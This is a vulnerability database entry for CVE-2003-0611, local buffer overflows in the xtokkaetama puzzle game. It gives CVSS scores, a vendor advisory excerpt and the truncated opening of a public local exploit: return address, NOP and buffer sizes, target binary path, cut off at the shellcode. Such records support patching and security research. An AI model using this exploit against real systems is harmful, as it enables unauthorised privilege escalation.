4.6
CVSSv2

CVE-2003-0611

Published: 27/08/2003 Updated: 05/09/2008
CVSS v2 Base Score: 4.6 | Impact Score: 6.4 | Exploitability Score: 3.9
VMScore: 465
Vector: AV:L/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

Multiple buffer overflows in xtokkaetama 1.0 allow local users to gain privileges via a long (1) -display command line argument or (2) XTOKKAETAMADIR environment variable.

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xtokkaetama xtokkaetama 1.0_b6

Vendor Advisories

Steve Kemp discovered two buffer overflows in xtokkaetama, a puzzle game, when processing the -display command line option and the XTOKKAETAMADIR environment variable These vulnerabilities could be exploited by a local attacker to gain gid 'games' For the current stable distribution (woody) this problem has been fixed in version 10b-6woody1 For ...

Exploits

/* * xtokkaetama 10b local game exploit on Red Hat 90 * Coded by brahma (31/07/2003) * * wwwdebianorg/security/2003/dsa-356 */ #include <stdlibh> #define RETADDR 0xbfffff11 #define DEFAULT_BUFFER_SIZE 29 #define DEFAULT_EGG_SIZE 512 #define NOP 0x90 #define BIN "/usr/X11R6/bin/xtokkaetama" char shellcode[ ...